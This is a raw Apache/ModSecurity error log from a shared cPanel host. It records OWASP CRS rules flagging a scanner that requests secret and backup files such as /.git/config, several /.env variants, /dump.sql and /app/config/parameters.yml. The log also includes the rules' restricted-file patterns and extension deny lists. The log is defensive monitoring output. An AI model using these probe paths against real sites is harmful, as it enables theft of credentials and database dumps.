[Fri Jul 17 08:28:47.083396 2026] [security2:error] [pid 2013809:tid 2013809] [client 57.141.18.38:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory70/node0/memory79/node0/memory101/"] [unique_id "almaZ0gVnBK6wAv37w6o2wAAABQ"]
[Fri Jul 17 08:28:50.258330 2026] [ssl:error] [pid 1993998:tid 1993998] (70014)End of file found: [client 66.85.158.91:39948] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:28:57.215731 2026] [security2:error] [pid 2014279:tid 2014279] [client 110.172.98.2:0] ModSecurity: Warning. Match of "rx ^(?:(?:\\\\*|[^\\"(),\\\\/:;<=>?![\\\\x5c\\\\]{}]+)\\\\/(?:\\\\*|[^\\"(),\\\\/:;<=>?![\\\\x5c\\\\]{}]+))(?:\\\\s*+;\\\\s*+(?:(?:charset\\\\s*+=\\\\s*+(?:\\"?(?:iso-8859-15?|windows-1252|utf-8)\\\\b\\"?))|(?:(?:c(?:h(?:a(?:r(?:s(?:e[^t\\"(),\\\\/:;<=>?![\\\\x5c\\\\]{}]|[^e\\"(),/:;<=>?![\\\\x5c ..." against "REQUEST_HEADERS:Accept" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1161"] [id "920600"] [msg "Illegal Accept header: charset parameter"] [data "text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [hostname "www.ksoft.lk.66-85-158-91.cpanel.site"] [uri "/"] [unique_id "almacUz_ZDvgWqiMlMbLbQAAAB0"]
[Fri Jul 17 08:28:58.027353 2026] [ssl:error] [pid 2014286:tid 2014286] (70014)End of file found: [client 66.85.158.91:59570] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:28:58.375278 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:59616] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:28:58.624060 2026] [ssl:error] [pid 2013809:tid 2013809] (70014)End of file found: [client 66.85.158.91:59624] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:29:00.228887 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:29:00.628259 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:29:01.158645 2026] [security2:error] [pid 2013830:tid 2013830] [client 34.236.216.83:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.coatrent.venee.lk"] [uri "/.git/config"] [unique_id "almadQRRrtuZqNDDSqWs2wAAABo"]
[Fri Jul 17 08:29:01.159072 2026] [security2:error] [pid 2013830:tid 2013830] [client 34.236.216.83:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.coatrent.venee.lk"] [uri "/.git/config"] [unique_id "almadQRRrtuZqNDDSqWs2wAAABo"]
[Fri Jul 17 08:29:01.159615 2026] [security2:error] [pid 2013830:tid 2013830] [client 34.236.216.83:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.coatrent.venee.lk"] [uri "/.git/config"] [unique_id "almadQRRrtuZqNDDSqWs2wAAABo"]
[Fri Jul 17 08:29:01.170476 2026] [security2:error] [pid 2014279:tid 2014279] [client 34.236.216.83:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.coatrent.venee.lk"] [uri "/database.sql"] [unique_id "almadUz_ZDvgWqiMlMbLcQAAAB0"]
[Fri Jul 17 08:29:01.170955 2026] [security2:error] [pid 2014279:tid 2014279] [client 34.236.216.83:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.coatrent.venee.lk"] [uri "/database.sql"] [unique_id "almadUz_ZDvgWqiMlMbLcQAAAB0"]
[Fri Jul 17 08:29:01.171295 2026] [security2:error] [pid 2014279:tid 2014279] [client 34.236.216.83:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.coatrent.venee.lk"] [uri "/database.sql"] [unique_id "almadUz_ZDvgWqiMlMbLcQAAAB0"]
[Fri Jul 17 08:29:01.191346 2026] [security2:error] [pid 1993584:tid 1993584] [client 34.236.216.83:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.coatrent.venee.lk"] [uri "/.env.staging"] [unique_id "almadVxP5-SsqbGuGB2lRgAAAAA"]
[Fri Jul 17 08:29:01.191683 2026] [security2:error] [pid 1993584:tid 1993584] [client 34.236.216.83:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.coatrent.venee.lk"] [uri "/.env.staging"] [unique_id "almadVxP5-SsqbGuGB2lRgAAAAA"]
[Fri Jul 17 08:29:01.192094 2026] [security2:error] [pid 1993584:tid 1993584] [client 34.236.216.83:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.coatrent.venee.lk"] [uri "/.env.staging"] [unique_id "almadVxP5-SsqbGuGB2lRgAAAAA"]
[Fri Jul 17 08:29:01.509309 2026] [security2:error] [pid 1993671:tid 1993671] [client 34.236.216.83:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.coatrent.venee.lk"] [uri "/data.sql"] [unique_id "almadQ5GPQ6hs4VrfMo99QAAAAY"]
[Fri Jul 17 08:29:01.509811 2026] [security2:error] [pid 1993671:tid 1993671] [client 34.236.216.83:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.coatrent.venee.lk"] [uri "/data.sql"] [unique_id "almadQ5GPQ6hs4VrfMo99QAAAAY"]
[Fri Jul 17 08:29:01.510230 2026] [security2:error] [pid 1993671:tid 1993671] [client 34.236.216.83:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.coatrent.venee.lk"] [uri "/data.sql"] [unique_id "almadQ5GPQ6hs4VrfMo99QAAAAY"]
[Fri Jul 17 08:29:01.983417 2026] [security2:error] [pid 1993671:tid 1993671] [client 34.236.216.83:0] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.coatrent.venee.lk"] [uri "/app/config/parameters.yml"] [unique_id "almadQ5GPQ6hs4VrfMo99gAAAAY"]
[Fri Jul 17 08:29:01.983651 2026] [security2:error] [pid 1993671:tid 1993671] [client 34.236.216.83:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.coatrent.venee.lk"] [uri "/app/config/parameters.yml"] [unique_id "almadQ5GPQ6hs4VrfMo99gAAAAY"]
[Fri Jul 17 08:29:01.983915 2026] [security2:error] [pid 1993671:tid 1993671] [client 34.236.216.83:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.coatrent.venee.lk"] [uri "/app/config/parameters.yml"] [unique_id "almadQ5GPQ6hs4VrfMo99gAAAAY"]
[Fri Jul 17 08:29:02.082569 2026] [security2:error] [pid 1994967:tid 1994967] [client 34.236.216.83:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.coatrent.venee.lk"] [uri "/.env.backup"] [unique_id "almadkhq6UAnqYko0LpXaAAAABE"]
[Fri Jul 17 08:29:02.082745 2026] [security2:error] [pid 1994967:tid 1994967] [client 34.236.216.83:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.coatrent.venee.lk"] [uri "/.env.backup"] [unique_id "almadkhq6UAnqYko0LpXaAAAABE"]
[Fri Jul 17 08:29:02.083006 2026] [security2:error] [pid 1994967:tid 1994967] [client 34.236.216.83:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.coatrent.venee.lk"] [uri "/.env.backup"] [unique_id "almadkhq6UAnqYko0LpXaAAAABE"]
[Fri Jul 17 08:29:02.083416 2026] [security2:error] [pid 1994967:tid 1994967] [client 34.236.216.83:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.coatrent.venee.lk"] [uri "/.env.backup"] [unique_id "almadkhq6UAnqYko0LpXaAAAABE"]
[Fri Jul 17 08:29:02.315344 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:41414] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:29:02.474564 2026] [security2:error] [pid 2014279:tid 2014279] [client 34.236.216.83:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.coatrent.venee.lk"] [uri "/dump.sql"] [unique_id "almadkz_ZDvgWqiMlMbLdAAAAB0"]
[Fri Jul 17 08:29:02.475204 2026] [security2:error] [pid 2014279:tid 2014279] [client 34.236.216.83:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.coatrent.venee.lk"] [uri "/dump.sql"] [unique_id "almadkz_ZDvgWqiMlMbLdAAAAB0"]
[Fri Jul 17 08:29:02.475676 2026] [security2:error] [pid 2014279:tid 2014279] [client 34.236.216.83:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.coatrent.venee.lk"] [uri "/dump.sql"] [unique_id "almadkz_ZDvgWqiMlMbLdAAAAB0"]
[Fri Jul 17 08:29:02.476185 2026] [security2:error] [pid 1993998:tid 1993998] [client 34.236.216.83:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.coatrent.venee.lk"] [uri "/.env.production"] [unique_id "almadmidQp3SsqeycPEs3AAAAAo"]
[Fri Jul 17 08:29:02.476512 2026] [security2:error] [pid 1993998:tid 1993998] [client 34.236.216.83:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.coatrent.venee.lk"] [uri "/.env.production"] [unique_id "almadmidQp3SsqeycPEs3AAAAAo"]
[Fri Jul 17 08:29:02.476947 2026] [security2:error] [pid 1993998:tid 1993998] [client 34.236.216.83:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.coatrent.venee.lk"] [uri "/.env.production"] [unique_id "almadmidQp3SsqeycPEs3AAAAAo"]
[Fri Jul 17 08:29:02.673730 2026] [security2:error] [pid 2014308:tid 2014308] [client 34.236.216.83:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.coatrent.venee.lk"] [uri "/backup.sql"] [unique_id "almadgdFk8dCrY-oJNkdNgAAACA"]
[Fri Jul 17 08:29:02.674332 2026] [security2:error] [pid 2014308:tid 2014308] [client 34.236.216.83:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.coatrent.venee.lk"] [uri "/backup.sql"] [unique_id "almadgdFk8dCrY-oJNkdNgAAACA"]
[Fri Jul 17 08:29:02.674837 2026] [security2:error] [pid 2014308:tid 2014308] [client 34.236.216.83:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.coatrent.venee.lk"] [uri "/backup.sql"] [unique_id "almadgdFk8dCrY-oJNkdNgAAACA"]
[Fri Jul 17 08:29:03.025425 2026] [security2:error] [pid 1993573:tid 1993573] [client 34.236.216.83:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.coatrent.venee.lk"] [uri "/db.sql"] [unique_id "almad3t8zp89pALg8Q5lKgAAAA4"]
[Fri Jul 17 08:29:03.025787 2026] [security2:error] [pid 1993573:tid 1993573] [client 34.236.216.83:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.coatrent.venee.lk"] [uri "/db.sql"] [unique_id "almad3t8zp89pALg8Q5lKgAAAA4"]
[Fri Jul 17 08:29:03.026101 2026] [security2:error] [pid 1993573:tid 1993573] [client 34.236.216.83:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.coatrent.venee.lk"] [uri "/db.sql"] [unique_id "almad3t8zp89pALg8Q5lKgAAAA4"]
[Fri Jul 17 08:29:03.126209 2026] [security2:error] [pid 2013830:tid 2013830] [client 34.236.216.83:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.coatrent.venee.lk"] [uri "/.env.dev"] [unique_id "almadwRRrtuZqNDDSqWs3QAAABo"]
